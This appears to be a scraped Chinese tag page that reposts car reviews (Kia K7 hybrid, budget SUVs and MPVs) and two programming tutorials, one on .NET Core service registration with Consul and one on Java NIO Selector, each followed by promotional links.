標籤: 如何寫文案

  • 油耗高達6.1L 這款混合動力車不便宜點怎麼行

    油耗高達6.1L 這款混合動力車不便宜點怎麼行

    (使用2。5L發動機的凱美瑞雙擎工信部油耗也高達5。3升/100公里)。其它方面表現如何。介紹完動力之後,咱們再看看全新起亞K7的其它方面,外觀上比老款K7更加帥氣動感,精緻感要更加好,看起來更加像一款平民豪車。K7的尺寸為4970mm*1869mm*1470mm。

    各位朋友們,臨近年關,不知道現在你們還有沒有心情工作呢?

    廢話不說那麼多,今天小編美美又來給各位介紹新車啦,這一款新車就是起亞K7混合動力版。

    有的朋友可能對起亞K7非常的陌生,起亞在我們的印象中比較熟悉的車型就是智跑、K5、K3這一類的,其實起亞K7是起亞K系列的一款高端中級轎車。他的中文名叫做起亞凱尊,起亞凱尊是起亞的一款定位B+級的中級轎車產品,採用全進口的銷售方式,售價為24.3萬~32.46萬,雖然是進口身份,但是它24.3萬元的起價已經比定位中大型車的福特金牛座還要更加貴,所以在國內賣的不好也是意料之中。

    現款起亞凱尊↑↑↑

    但是這並不妨礙我們看一下起亞的這個混動軍團的又一款產品起亞K7混動的實力。

    新一代起亞K7於2016年1月在韓國亮相,至今正好一年的時間,而一年後的現在起亞發布了K7混動的消息,K7混動採用2.4升的自然吸氣發動機加38千瓦的電動機的動力總成。最大功率為157馬力,最大扭矩為206牛米。鋰電池的電池容量為1.76kwh。官方公布的百公里綜合油耗為6.1L/100km。

    現款凱尊的2.4L發動機↑↑↑

    目前關於這款2.4L的發動機並沒有太多的消息,是否是全新的發動機也是未知,但是參考其157馬力/206牛米的動力輸出來看,這樣的輸出水平比2013款凱尊2.4L發動機都要低了不少(2013款凱尊國五:173馬力/224牛米),因此小編猜測這是一台新發動機,並且採用了混動車型多半喜歡的阿特金森循環(這種發動機動力弱但是油耗表現優秀)。

    而38千瓦(52馬力)電機和現款起亞K5混動的電機功率相同,因此電機可能是和現款K5採用相同的38千瓦(52馬力)/205牛米輸出的電機。因此發動機和電動機的總輸出功率可能為225馬力/429牛米。

    為什麼綜合油耗偏高?

    相比較同級別的雅閣混動、君越混動來說,K7的6.1升的綜合油耗是偏高的表現了,君越混動採用1.8L發動機+114千瓦電機的動力系統,工信部油耗為4.7升/100公里,雅閣採用2.0L發動機+135千瓦電機的動力系統,工信部油耗為4.2升/100公里。

    那為什麼會有偏高的油耗呢?由於K7電機的功率偏弱,因此電機主要的工作區間為低速區間,因此需要使用大排量發動機來彌補中段加速的動力,因此K7使用了2.4L的發動機,較大的發動機排量也會導致油耗偏高。(使用2.5L發動機的凱美瑞雙擎工信部油耗也高達5.3升/100公里)。

    其它方面表現如何?

    介紹完動力之後,咱們再看看全新起亞K7的其它方面,外觀上比老款K7更加帥氣動感,精緻感要更加好,看起來更加像一款平民豪車。K7的尺寸為4970mm*1869mm*1470mm。軸距為2855mm,這樣的尺寸其實已經是逼近一台中大型轎車了。

    內飾上K7也是以穩重設計為主,畢竟是起亞的高端價位的車型,現款K7的內飾做工質感在同價位就是比較出色的了,因此對於全新的K7的內飾質感小編也絲毫不擔心。而且得益於較大的車身尺寸,全新K7的內部空間貌似還比較寬敞。

    動力上,除了混動的K7之外,還會有2.0T和2.4L發動機的車型,在美國市場上K7還有6缸3.3L發動機,最大功率290馬力,並且匹配8AT變速箱,不過不用想了,即使3.3L車型來到國內,受限於稅率相信也沒多少人會買的。

    售價多少?

    回到混動K7上,看完了混動K7的數據之後相信大家會好奇,這款起亞K7混動會賣多少錢呢?綜合目前國產的起亞K5混動售價為19.98萬-24.88萬,比K5更加高級並且採用進口身份的K7售價也會更加高,但是在前不久上市的起亞極睿卻給我們帶來了極具震撼的性價比;因此作為起亞的混動新生代車型,K7混動價格預計也不會貴到離譜,因此小編猜測K7混動的價格會在23.98萬左右,你們覺得這個價格如何呢?

    競爭對手:

    本田雅閣混動

    23.98-27.98萬

    相比起亞來說本田的品牌在中國的認可度更加高,而更加低的綜合油耗以及技術上的優勢都是雅閣混動的優勢所在,也是K7混動要面對的。

    起亞K5混動

    19.98萬-24.88萬

    為什麼說K5混動是K7混動的對手呢?在許多人看來,K5和K7同為中級車,但是K7要貴得多,因此選擇K5也就更加划算了,而對於選擇K7混動的人來說,為什麼不選擇一個同樣大空間低油耗的中級車K5呢?

    別克君越混動

    27.58-30.58萬

    國人對於別克的喜愛是十分明顯的,君越高級的底盤質感以及配置上的優勢都是同價位比較明顯的,而君越混動的油耗也比K7混動更加低,品質感也絲毫不遜色於K7混動,但是君越混動的價格偏高也是一個問題,如果K7混動也定這個價的話,那麼它倆就可以正面廝殺了。

    總結:

    其實無論是對於哪個品牌來說,受限於日益嚴格的排放法規,混動都是接下來的主戰場,而從起亞極睿的上市來看,技術偏弱的起亞選擇了爭取時間優勢,率先以低價入市的方式佔領市場打開口碑,之後有了良好的市場基礎,也就不用懼怕其它車型的競爭,因此低價入市的戰略應該是起亞的主要思路,這個角度來看,起亞K7的價格還是十分值得期待的。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※別再煩惱如何寫文案,掌握八大原則!

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※超省錢租車方案

    ※教你寫出一流的銷售文案?

    網頁設計最專業,超強功能平台可客製化

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • 成天喊着要SUV 這幾款只要5萬起你買不買?

    成天喊着要SUV 這幾款只要5萬起你買不買?

    值得一提的是,甚至還能在它身上看到換擋撥片。動力方面,1。5L自然吸氣發動機加5MT的搭配,性能方面不用擔心,完全夠用。至於另外一台AMT變速箱,畢竟受限於成本,性能方面肯定不及CVT,但相比那些只有純手動擋的對手來說也算得上一優勢。

    叫獸有時候總在想,SUV究竟還要火多久?是不是今後就要與傳統轎車“平分秋色”了?

    我不得而知。總之,存在即合理。叫獸可不是來探討這個高深的問題的,既然老老少少都對SUV抱有這麼大的熱情,倒不如成人之美,今天就推薦幾款市面上能買到(或即將上市)價格最親民並且還很靠譜的SUV,喜歡SUV的同學們可不要錯過。

    以下按價格由低到高的順序排列。

    江淮汽車 – 瑞風S2mini

    預售價:4.58 – 5.68萬

    瑞風S2mini的推出,更是將SUV的火爆演繹到了極致。這款定位在小型SUV – 瑞風S2之下的S2mini,幾乎是今後市面上能買到的最便宜的大廠SUV。

    正如它的造型一樣,呆萌的造型只賣獃萌的價格。作為江淮最入門的車型,瑞風S2mini同樣運用了江淮最新的家族設計,我們依然能在這個“小巧”的前臉上看到“寶瓶式”設計,看上去在呆萌中透露出一絲狠勁,挺好。

    外掛式備胎算是S2mini的一大亮點,從後方看去就像一位背着書包的壞小子,竟毫無違和感;3775*1685*1775mm的車身也能體現其“小學生”的身份。

    內飾倒是讓人眼前一亮,紅黑色的搭配彰顯了年輕人的活力,頂配車型甚至還採用了皮質包裹,對於這麼一款售價的SUV來說,有點意思。

    動力則搭載一台1.3L自然吸氣發動機,最大馬力99ps,峰值扭矩為126Nm,這樣的參數對於這麼一個“小身材”綽綽有餘;與發動機匹配的只有一台5MT變速箱。

    叫獸點評:升高几厘米底盤,冠上SUV稱號的S2mini未來的市場一定會比同價位轎車快活得多。

    長城汽車 – 哈弗H1

    指導價:5.49 – 7.89萬

    H6銷量的恐怖程度相信大家早有耳聞,叫獸的印象中,國內月銷量超8萬的單一車型除了五菱宏光就是H6了。作為哈弗家族的入門產品,H1的表現如何呢?

    你可以認為H1就是從M4拉皮而來,但不可否認的是,H1擁有同級SUV里較高的顏值。碩大的蜂窩式黑色格柵,看上去頗有幾分氣勢。

    車尾設計精緻幹練,如果說S2mini是個調皮的小子,那H1更像位體育委員。別多想,這排氣孔只是裝飾,唬人的。

    內飾給人的驚喜很大,雖然有些某豪華品牌的設計元素在裏面,不過從視覺層面來看還是挺讓人滿意的。值得一提的是,甚至還能在它身上看到換擋撥片。

    動力方面,1.5L自然吸氣發動機加5MT的搭配,性能方面不用擔心,完全夠用;至於另外一台AMT變速箱,畢竟受限於成本,性能方面肯定不及CVT,但相比那些只有純手動擋的對手來說也算得上一優勢。

    叫獸點評:長城的功底還是不錯的,更推薦手動版本。

    長安汽車 – CS15

    指導價:5.79 – 7.79萬

    近幾年,長安的“CS系列”死磕長城哈弗,雖然整體銷量還有些距離,但也算混的順風順水。CS15則是很有力的證明。

    CS15擁有比以上兩款更接近SUV的造型,造型上採用高度原創的設計,看上去也更討喜。

    內飾部分同樣令人滿意,看上去似乎亮點不多,不過長安紮實的做工和用料還是對得起它的價格的。

    除了同樣是1.5L + 5MT的動力組合外,CS15最大的看點在於它是同級車型里鮮有配備了雙離合變速箱的車型。換擋表現不敢說多麼平順,但比起AMT變速箱還是有明顯優勢的。這一點也能讓其吸引更多潛在客戶的關注。

    叫獸點評:6、7萬的自動擋SUV,非CS15莫屬。

    上汽通用五菱 – 寶駿510

    預售價:5.98 – 7.58萬

    510這款車不用多說,自去年廣州車展亮相后就受到了極大關注,不難預料,這即將成為寶駿又一爆款車型。

    天馬行空的車頭設計不用多介紹了,叫獸認為這個設計起碼向上越了兩級,這也將成為510未來競爭的最大殺手鐧。

    內飾部分,叫獸認為510是以上幾款車裡最值得表揚的。無論是設計還是用料均達到了主流水平,重點是,這是原創設計喲!

    動力搭載的是與730同款的L2B 1.5L自然吸氣發動機,性能和可靠性自然無須擔心。唯一遺憾的是,先期並沒有提供自動擋版本。

    叫獸點評:近兩年寶駿推出的車型幾乎都成為爆款,不用多想,510又要革了小型SUV市場的命。

    THE

    END

    總結

    誰說便宜無好貨?當工業發展到一定程度,成本和設計都成熟以後,依然能推出物美價廉的產品。如果你對SUV情有獨鍾並且預算有限,這幾款是個非常不錯的選擇。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※教你寫出一流的銷售文案?

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※回頭車貨運收費標準

    ※別再煩惱如何寫文案,掌握八大原則!

    ※超省錢租車方案

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • 5-10萬預算還想買7座?這些車是全民認證的好!

    5-10萬預算還想買7座?這些車是全民認證的好!

    08-9。28萬寶駿730的銷量雖然沒有宏光那麼硬氣,但是2016年全年370169輛的銷量也足以讓競爭對手汗顏了,寶駿730的車身尺寸為4685/4710*1785*1715mm,軸距為2750mm。提供5座、7座、8座版車型。雖然中控台依然是採用的硬塑料,中高配依然配備中控大屏幕,但是730的內飾設計明星要比宏光時尚很多,看起來也比較有設計感,畢竟一分價錢一分貨。

    在5-10萬元這個價位,如果單論哪種車子的實用性最高,小編肯定會不假思索的推薦MpV(微面),因為這些車子價格非常實惠,質量很好,空間很大,拉人載貨都非常方便。所以小編就給大家推薦幾款2016年全年銷量比較好的MpV。

    上汽通用五菱-五菱宏光

    指導價:4.18-6.98萬

    其實第一不用說大家就猜到是五菱宏光,中華神車五菱宏光在2016年12月份的銷量高達82543輛,2016年全年累計銷量為650018輛,這樣高調的銷量數據估計只有美國的皮卡福特F-150可以媲美了。雖然五菱宏光的發動機沒法和大排量V8的F-150相比,但是宏光價格要便宜很多啊!而且,宏光可以盡情的甩尾漂移,這點F-150不好做到吧!畢竟宏光也是征服過秋名山的选手。

    宏光的不同車型的車身尺寸略有差異,但是軸距都為2720mm,座位數為5-8個不等。當然低配的宏光是不可能有中控大屏幕的,畢竟車價較低,不過,有了中控大屏,宏光的中控看起來立馬高端很多。

    宏光的動力系統為1.2L 86馬力/1.5L 112馬力+5擋手動,別看宏光馬力較小,但是宏光的定位是微面,就是用來干粗活的,所以即使是滿載,只要油門轟起來,也不會感到動力不足。

    上汽通用五菱-寶駿730

    指導價:6.08-9.28萬

    寶駿730的銷量雖然沒有宏光那麼硬氣,但是2016年全年370169輛的銷量也足以讓競爭對手汗顏了,寶駿730的車身尺寸為4685/4710*1785*1715mm,軸距為2750mm。提供5座、7座、8座版車型。

    雖然中控台依然是採用的硬塑料,中高配依然配備中控大屏幕,但是730的內飾設計明星要比宏光時尚很多,看起來也比較有設計感,畢竟一分價錢一分貨。

    寶駿730的動力選擇很豐富,有自吸、同時也有渦輪發動機,甚至還有AMT車型可供消費者選擇。其實小編認為如果只是偶爾拉貨,多數情況是坐人的話,那麼最好還是選擇730吧!畢竟730前置前驅結構,噪音要比宏光小很多,同時整車的質感和配置也要明顯強於宏光,多花兩萬元還是比較值得的!

    長安汽車-歐尚

    指導價:5.19-6.49萬

    長安歐尚2016年全年的銷量為118185輛,表現還算不錯,歐尚的車身尺寸為4465*1725*1685/1700mm,軸距為2680mm。全系均為七座車型。

    內飾的造型絕對對得起這個價位,全黑的中控看起來質感很不錯,甚至有種比較高檔的感覺,不過內飾的用料肯定是以硬塑料為主了,畢竟價位有限么,可以理解。

    其實歐尚的性價比挺不錯的,絕對不比730的性價比低,畢竟6.49萬的歐尚就有ESp、上坡輔助、電動天窗、真皮方向盤、前/后駐車雷達、倒車視頻影像、仿皮座椅、GpS導航、中控大屏、藍牙、後座出風口等配置,關鍵是歐尚的優惠比730要大不少,如果不介意歐尚的尺寸小於730的話,那麼歐尚還是很值得入手的。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※超省錢租車方案

    ※別再煩惱如何寫文案,掌握八大原則!

    ※回頭車貨運收費標準

    ※教你寫出一流的銷售文案?

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

  • .Net Core微服務入門全紀錄(二)——Consul-服務註冊與發現(上)

    .Net Core微服務入門全紀錄(二)——Consul-服務註冊與發現(上)

    前言

    上一篇【.Net Core微服務入門全紀錄(一)——項目搭建】講到要做到服務的靈活伸縮,那麼需要有一種機制來實現它,這個機制就是服務註冊與發現。當然這也並不是必要的,如果你的服務實例很少,並且很穩定,那麼就沒有必要使用服務註冊與發現。

    服務註冊與發現

    • 服務註冊:簡單理解,就是有一個註冊中心,我們的每個服務實例啟動時,都去註冊中心註冊一下,告訴註冊中心我的地址,端口等信息。同樣的服務實例要刪除時,去註冊中心刪除一下,註冊中心負責維護這些服務實例的信息。
    • 服務發現:既然註冊中心維護了各個服務實例的信息,那麼客戶端通過註冊中心就很容易發現服務的變化了。

    有了服務註冊與發現,客戶端就不用再去配置各個服務實例的地址,改為從註冊中心統一獲取。
    那註冊中心又是怎麼保證每個地址的可用狀態呢,假如某個實例掛了怎麼辦呢?原則上掛掉的實例不應該被客戶端獲取到,所以就要提到:健康檢查 。

    • 健康檢查:每個服務都需要提供一個用於健康檢查的接口,該接口不具備業務功能。服務註冊時把這個接口的地址也告訴註冊中心,註冊中心會定時調用這個接口來檢測服務是否正常,如果不正常,則將它移除,這樣就保證了服務的可用性。

    常見註冊中心有 Consul、ZooKeeper、etcd、Eureka。

    Consul

    Consul官網:https://www.consul.io/
    Consul的主要功能有服務註冊與發現、健康檢查、K-V存儲、多數據中心等。

    • Consul安裝:很簡單,直接在官網下載解壓即可。
    • Consul運行:在consul.exe目錄下打開命令行執行 consul.exe agent -dev
    • 瀏覽器訪問:http://localhost:8500/

      Consul已成功運行。

    服務註冊

    • 首先Nuget安裝一下Consul:

      這個類庫里封裝了Consul的api操作,方便我們直接使用。當然自己去寫http調用Consul的接口也不是不行。。。接口說明:https://www.consul.io/api-docs

    • 改造一下訂單服務的代碼:

    ConsulHelper.cs:

        public static class ConsulHelper
        {
            /// <summary>
            /// 服務註冊到consul
            /// </summary>
            /// <param name="app"></param>
            /// <param name="lifetime"></param>
            public static IApplicationBuilder RegisterConsul(this IApplicationBuilder app, IConfiguration configuration, IHostApplicationLifetime lifetime) 
            {
                var consulClient = new ConsulClient(c =>
                {
                    //consul地址
                    c.Address = new Uri(configuration["ConsulSetting:ConsulAddress"]);
                });
    
                var registration = new AgentServiceRegistration()
                {
                    ID = Guid.NewGuid().ToString(),//服務實例唯一標識
                    Name = configuration["ConsulSetting:ServiceName"],//服務名
                    Address = configuration["ConsulSetting:ServiceIP"], //服務IP
                    Port = int.Parse(configuration["ConsulSetting:ServicePort"]),//服務端口 因為要運行多個實例,端口不能在appsettings.json里配置,在docker容器運行時傳入
                    Check = new AgentServiceCheck()
                    {
                        DeregisterCriticalServiceAfter = TimeSpan.FromSeconds(5),//服務啟動多久后註冊
                        Interval = TimeSpan.FromSeconds(10),//健康檢查時間間隔
                        HTTP = $"http://{configuration["ConsulSetting:ServiceIP"]}:{configuration["ConsulSetting:ServicePort"]}{configuration["ConsulSetting:ServiceHealthCheck"]}",//健康檢查地址
                        Timeout = TimeSpan.FromSeconds(5)//超時時間
                    }
                };
    
                //服務註冊
                consulClient.Agent.ServiceRegister(registration).Wait();
    
                //應用程序終止時,取消註冊
                lifetime.ApplicationStopping.Register(() =>
                {
                    consulClient.Agent.ServiceDeregister(registration.ID).Wait();
                });
    
                return app;
            }
        }
    

    appsettings.json:

    {
      "Logging": {
        "LogLevel": {
          "Default": "Information",
          "Microsoft": "Warning",
          "Microsoft.Hosting.Lifetime": "Information"
        }
      },
      "AllowedHosts": "*",
      "ConsulSetting": {
        "ServiceName": "OrderService",
        "ServiceIP": "localhost",
        "ServiceHealthCheck": "/healthcheck",
        "ConsulAddress": "http://host.docker.internal:8500"//注意,docker容器內部無法使用localhost訪問宿主機器,如果是控制台啟動的話就用localhost
      }
    }
    

    Startup.cs:

        public class Startup
        {
            public Startup(IConfiguration configuration)
            {
                Configuration = configuration;
            }
    
            public IConfiguration Configuration { get; }
    
            // This method gets called by the runtime. Use this method to add services to the container.
            public void ConfigureServices(IServiceCollection services)
            {
                services.AddControllers();
            }
    
            // This method gets called by the runtime. Use this method to configure the HTTP request pipeline.
            public void Configure(IApplicationBuilder app, IWebHostEnvironment env, IHostApplicationLifetime lifetime)
            {
                if (env.IsDevelopment())
                {
                    app.UseDeveloperExceptionPage();
                }
    
                app.UseRouting();
    
                app.UseAuthorization();
    
                app.UseEndpoints(endpoints =>
                {
                    endpoints.MapControllers();
                });
    
                //服務註冊
                app.RegisterConsul(Configuration, lifetime);
            }
        }
    

    OrdersController.cs:

        [Route("[controller]")]
        [ApiController]
        public class OrdersController : ControllerBase
        {
            private readonly ILogger<OrdersController> _logger;
            private readonly IConfiguration _configuration;
    
            public OrdersController(ILogger<OrdersController> logger, IConfiguration configuration)
            {
                _logger = logger;
                _configuration = configuration;
            }
    
            [HttpGet]
            public IActionResult Get()
            {
                string result = $"【訂單服務】{DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss")}——" +
                    $"{Request.HttpContext.Connection.LocalIpAddress}:{_configuration["ConsulSetting:ServicePort"]}";
                return Ok(result);
            }
        }
    

    HealthCheckController.cs:

        [Route("[controller]")]
        [ApiController]
        public class HealthCheckController : ControllerBase
        {
            /// <summary>
            /// 健康檢查接口
            /// </summary>
            /// <returns></returns>
            [HttpGet]
            public IActionResult Get()
            {
                return Ok();
            }
        }
    

    至此就完成了服務註冊,取消註冊,健康檢查等功能的代碼編寫。

    • 同樣的改造一下產品服務,代碼差不多一樣,就不貼了。

    運行服務

    繼續在docker中運行服務實例,不習慣docker的話用控制台啟動也行。–ConsulSetting:ServicePort參數就是傳入容器的端口信息。

    docker build -t orderapi:1.0 -f ./Order.API/Dockerfile .
    docker run -d -p 9060:80 --name orderservice orderapi:1.0 --ConsulSetting:ServicePort="9060"
    docker run -d -p 9061:80 --name orderservice1 orderapi:1.0 --ConsulSetting:ServicePort="9061"
    docker run -d -p 9062:80 --name orderservice2 orderapi:1.0 --ConsulSetting:ServicePort="9062"
    
    docker build -t productapi:1.0 -f ./Product.API/Dockerfile .
    docker run -d -p 9050:80 --name productservice productapi:1.0 --ConsulSetting:ServicePort="9050"
    docker run -d -p 9051:80 --name productservice1 productapi:1.0 --ConsulSetting:ServicePort="9051"
    docker run -d -p 9052:80 --name productservice2 productapi:1.0 --ConsulSetting:ServicePort="9052"
    

    至此,6個服務器實例都已運行,並且成功註冊到Consul。

    隨便停止2個服務:

    可以看到停止的服務已經在Consul中被移除。注意,這個是我們停止程序時主動調用Consul移除的。

    //應用程序終止時,取消註冊
    lifetime.ApplicationStopping.Register(() =>
    {
        consulClient.Agent.ServiceDeregister(registration.ID).Wait();
    });
    

    當然程序發生異常,健康檢查不能正確響應的話,Consul也會移除,有一點區別。

    那麼註冊,發現,健康檢查功能都完成了,下一步就該考慮客戶端如何拿到這些服務實例的地址了。

    代碼放在:https://github.com/xiajingren/NetCoreMicroserviceDemo

    未完待續…

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※Google地圖已可更新顯示潭子電動車充電站設置地點!!

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※別再煩惱如何寫文案,掌握八大原則!

    網頁設計最專業,超強功能平台可客製化

  • 小師妹學JavaIO之:用Selector來發好人卡

    小師妹學JavaIO之:用Selector來發好人卡

    目錄

    • 簡介
    • Selector介紹
    • 創建Selector
    • 註冊Selector到Channel中
    • SelectionKey
    • selector 和 SelectionKey
    • 總的例子
    • 總結

    簡介

    NIO有三寶:Buffer,Channel,Selector少不了。本文將會介紹NIO三件套中的最後一套Selector,並在理解Selector的基礎上,協助小師妹發一張好人卡。我們開始吧。

    Selector介紹

    小師妹:F師兄,最近我的桃花有點旺,好幾個師兄莫名其妙的跟我打招呼,可是我一心向著工作,不想談論這些事情。畢竟先有事業才有家嘛。我又不好直接拒絕,有沒有什麼比較隱晦的方法來讓他們放棄這個想法?

    更多內容請訪問www.flydean.com

    這個問題,我沉思了大約0.001秒,於是給出了答案:給他們發張好人卡吧,應該就不會再來糾纏你了。

    小師妹:F師兄,如果給他們發完好人卡還沒有用呢?

    那就只能切斷跟他們的聯繫了,來個一刀兩斷。哈哈。

    這樣吧,小師妹你最近不是在學NIO嗎?剛好我們可以用Selector來模擬一下發好人卡的過程。

    假如你的志偉師兄和子丹師兄想跟你建立聯繫,每個人都想跟你建立一個溝通通道,那麼你就需要創建兩個channel。

    兩個channel其實還好,如果有多個人都想同時跟你建立聯繫通道,那麼要維持這些通道就需要保持連接,從而浪費了資源。

    但是建立的這些連接並不是時時刻刻都有消息在傳輸,所以其實大多數時間這些建立聯繫的通道其實是浪費的。

    如果使用Selector就可以只啟用一個線程來監聽通道的消息變動,這就是Selector。

    從上面的圖可以看出,Selector監聽三個不同的channel,然後交給一個processor來處理,從而節約了資源。

    創建Selector

    先看下selector的定義:

    public abstract class Selector implements Closeable
    

    Selector是一個abstract類,並且實現了Closeable,表示Selector是可以被關閉的。

    雖然Selector是一個abstract類,但是可以通過open來簡單的創建:

    Selector selector = Selector.open();
    

    如果細看open的實現可以發現一個很有趣的現象:

    public static Selector open() throws IOException {
            return SelectorProvider.provider().openSelector();
        }
    

    open方法調用的是SelectorProvider中的openSelector方法。

    再看下provider的實現:

     public SelectorProvider run() {
       if (loadProviderFromProperty())
            return provider;
        if (loadProviderAsService())
            return provider;
          provider = sun.nio.ch.DefaultSelectorProvider.create();
          return provider;
        }
     });
    

    有三種情況可以加載一個SelectorProvider,如果系統屬性指定了java.nio.channels.spi.SelectorProvider,那麼從指定的屬性加載。

    如果沒有直接指定屬性,則從ServiceLoader來加載。

    最後如果都找不到的情況下,使用默認的DefaultSelectorProvider。

    關於ServiceLoader的用法,我們後面會有專門的文章來講述。這裏先不做多的解釋。

    註冊Selector到Channel中

    ServerSocketChannel serverSocketChannel = ServerSocketChannel.open();
            serverSocketChannel.bind(new InetSocketAddress("localhost", 9527));
            serverSocketChannel.configureBlocking(false);
            serverSocketChannel.register(selector, SelectionKey.OP_ACCEPT);
    

    如果是在服務器端,我們需要先創建一個ServerSocketChannel,綁定Server的地址和端口,然後將Blocking設置為false。因為我們使用了Selector,它實際上是一個非阻塞的IO。

    注意FileChannels是不能使用Selector的,因為它是一個阻塞型IO。

    小師妹:F師兄,為啥FileChannel是阻塞型的呀?做成非阻塞型的不是更快?

    小師妹,我們使用FileChannel的目的是什麼?就是為了讀文件呀,讀取文件肯定是一直讀一直讀,沒有可能讀一會這個channel再讀另外一個channel吧,因為對於每個channel自己來講,在文件沒讀取完之前,都是繁忙狀態,沒有必要在channel中切換。

    最後我們將創建好的Selector註冊到channel中去。

    SelectionKey

    SelectionKey表示的是我們希望監聽到的事件。

    總的來說,有4種Event:

    • SelectionKey.OP_READ 表示服務器準備好,可以從channel中讀取數據。
    • SelectionKey.OP_WRITE 表示服務器準備好,可以向channel中寫入數據。
    • SelectionKey.OP_CONNECT 表示客戶端嘗試去連接服務端
    • SelectionKey.OP_ACCEPT 表示服務器accept一個客戶端的請求
    public static final int OP_READ = 1 << 0;
    public static final int OP_WRITE = 1 << 2;
    public static final int OP_CONNECT = 1 << 3;
    public static final int OP_ACCEPT = 1 << 4;
    

    我們可以看到上面的4個Event是用位運算來定義的,如果將這個四個event使用或運算合併起來,就得到了SelectionKey中的interestOps。

    和interestOps類似,SelectionKey還有一個readyOps。

    一個表示感興趣的操作,一個表示ready的操作。

    最後,SelectionKey在註冊的時候,還可以attach一個Object,比如我們可以在這個對象中保存這個channel的id:

    SelectionKey key = channel.register(
      selector, SelectionKey.OP_ACCEPT, object);
    key.attach(Object);
    Object object = key.attachment();
    

    object可以在register的時候傳入,也可以調用attach方法。

    最後,我們可以通過key的attachment方法,獲得該對象。

    selector 和 SelectionKey

    我們通過selector.select()這個一個blocking操作,來獲取一個ready的channel。

    然後我們通過調用selector.selectedKeys()來獲取到SelectionKey對象。

    在SelectionKey對象中,我們通過判斷ready的event來處理相應的消息。

    總的例子

    接下來,我們把之前將的串聯起來,先建立一個小師妹的ChatServer:

    public class ChatServer {
    
        private static String BYE_BYE="再見";
    
        public static void main(String[] args) throws IOException, InterruptedException {
            Selector selector = Selector.open();
            ServerSocketChannel serverSocketChannel = ServerSocketChannel.open();
            serverSocketChannel.bind(new InetSocketAddress("localhost", 9527));
            serverSocketChannel.configureBlocking(false);
            serverSocketChannel.register(selector, SelectionKey.OP_ACCEPT);
            ByteBuffer byteBuffer = ByteBuffer.allocate(512);
    
            while (true) {
                selector.select();
                Set<SelectionKey> selectedKeys = selector.selectedKeys();
                Iterator<SelectionKey> iter = selectedKeys.iterator();
                while (iter.hasNext()) {
                    SelectionKey selectionKey = iter.next();
                    if (selectionKey.isAcceptable()) {
                        register(selector, serverSocketChannel);
                    }
                    if (selectionKey.isReadable()) {
                        serverResonse(byteBuffer, selectionKey);
                    }
                    iter.remove();
                }
                Thread.sleep(1000);
            }
        }
    
        private static void serverResonse(ByteBuffer byteBuffer, SelectionKey selectionKey)
                throws IOException {
            SocketChannel socketChannel = (SocketChannel) selectionKey.channel();
            socketChannel.read(byteBuffer);
            byteBuffer.flip();
            byte[] bytes= new byte[byteBuffer.limit()];
            byteBuffer.get(bytes);
            log.info(new String(bytes).trim());
            if(new String(bytes).trim().equals(BYE_BYE)){
                log.info("說再見不如不見!");
                socketChannel.write(ByteBuffer.wrap("再見".getBytes()));
                socketChannel.close();
            }else {
                socketChannel.write(ByteBuffer.wrap("你是個好人".getBytes()));
            }
            byteBuffer.clear();
        }
    
        private static void register(Selector selector, ServerSocketChannel serverSocketChannel)
                throws IOException {
            SocketChannel socketChannel = serverSocketChannel.accept();
            socketChannel.configureBlocking(false);
            socketChannel.register(selector, SelectionKey.OP_READ);
        }
    }
    

    上面例子有兩點需要注意,我們在循環遍歷中,當selectionKey.isAcceptable時,表示服務器收到了一個新的客戶端連接,這個時候我們需要調用register方法,再註冊一個OP_READ事件到這個新的SocketChannel中,然後繼續遍歷。

    第二,我們定義了一個stop word,當收到這個stop word的時候,會直接關閉這個client channel。

    再看看客戶端的代碼:

    public class ChatClient {
    
        private static SocketChannel socketChannel;
        private static ByteBuffer byteBuffer;
    
        public static void main(String[] args) throws IOException {
    
            ChatClient chatClient = new ChatClient();
            String response = chatClient.sendMessage("hello 小師妹!");
            log.info("response is {}", response);
            response = chatClient.sendMessage("能不能?");
            log.info("response is {}", response);
            chatClient.stop();
    
        }
    
        public void stop() throws IOException {
            socketChannel.close();
            byteBuffer = null;
        }
    
        public ChatClient() throws IOException {
            socketChannel = SocketChannel.open(new InetSocketAddress("localhost", 9527));
            byteBuffer = ByteBuffer.allocate(512);
        }
    
        public String sendMessage(String msg) throws IOException {
            byteBuffer = ByteBuffer.wrap(msg.getBytes());
            String response = null;
            socketChannel.write(byteBuffer);
            byteBuffer.clear();
            socketChannel.read(byteBuffer);
            byteBuffer.flip();
            byte[] bytes= new byte[byteBuffer.limit()];
            byteBuffer.get(bytes);
            response =new String(bytes).trim();
            byteBuffer.clear();
            return response;
    
        }
    }
    

    客戶端代碼沒什麼特別的,需要注意的是Buffer的讀取。

    最後輸出結果:

    server收到: INFO com.flydean.ChatServer - hello 小師妹!
    client收到: INFO com.flydean.ChatClient - response is 你是個好人
    server收到: INFO com.flydean.ChatServer - 能不能?
    client收到: INFO com.flydean.ChatClient - response is 再見
    

    解釋一下整個流程:志偉跟小師妹建立了一個連接,志偉向小師妹打了一個招呼,小師妹給志偉發了一張好人卡。志偉不死心,想繼續糾纏,小師妹回復再見,然後自己關閉了通道。

    總結

    本文介紹了Selector和channel在發好人卡的過程中的作用。

    • 區塊鏈從入門到放棄系列教程-涵蓋密碼學,超級賬本,以太坊,Libra,比特幣等持續更新
    • Spring Boot 2.X系列教程:七天從無到有掌握Spring Boot-持續更新
    • Spring 5.X系列教程:滿足你對Spring5的一切想象-持續更新
    • java程序員從小工到專家成神之路(2020版)-持續更新中,附詳細文章教程

    本文作者:flydean程序那些事

